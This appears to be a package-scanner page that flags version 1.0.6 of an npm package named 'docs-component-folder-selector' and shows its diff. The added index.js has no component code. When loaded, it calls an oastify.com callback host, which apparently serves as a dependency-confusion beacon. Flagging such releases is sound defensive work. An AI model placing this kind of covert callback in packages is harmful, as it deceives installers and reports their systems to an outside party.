docs-component-folder-selector 1.0.6
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of docs-component-folder-selector might be problematic. Click here for more details.
- package/index.js +12 -0
- package/package.json +19 -0
package/index.js
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
const axios = require('axios');
|
2
|
+
|
3
|
+
async function fetchData() {
|
4
|
+
try {
|
5
|
+
const response = await axios.get('http://q7y0t4swfoa766j8ra0nn9pttkzbn4bt.oastify.com');
|
6
|
+
console.log(response.data);
|
7
|
+
} catch (error) {
|
8
|
+
console.error('Une erreur s\'est produite lors de la récupération des données:', error);
|
9
|
+
}
|
10
|
+
}
|
11
|
+
|
12
|
+
fetchData();
|
package/package.json
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
{
|
2
|
+
"name": "docs-component-folder-selector",
|
3
|
+
"version": "1.0.6",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"start": "node index.js"
|
8
|
+
},
|
9
|
+
"keywords": [
|
10
|
+
"package",
|
11
|
+
"exemple",
|
12
|
+
"npm"
|
13
|
+
],
|
14
|
+
"author": "_Xml_",
|
15
|
+
"license": "MIT",
|
16
|
+
"dependencies": {
|
17
|
+
"axios": "^0.21.1"
|
18
|
+
}
|
19
|
+
}
|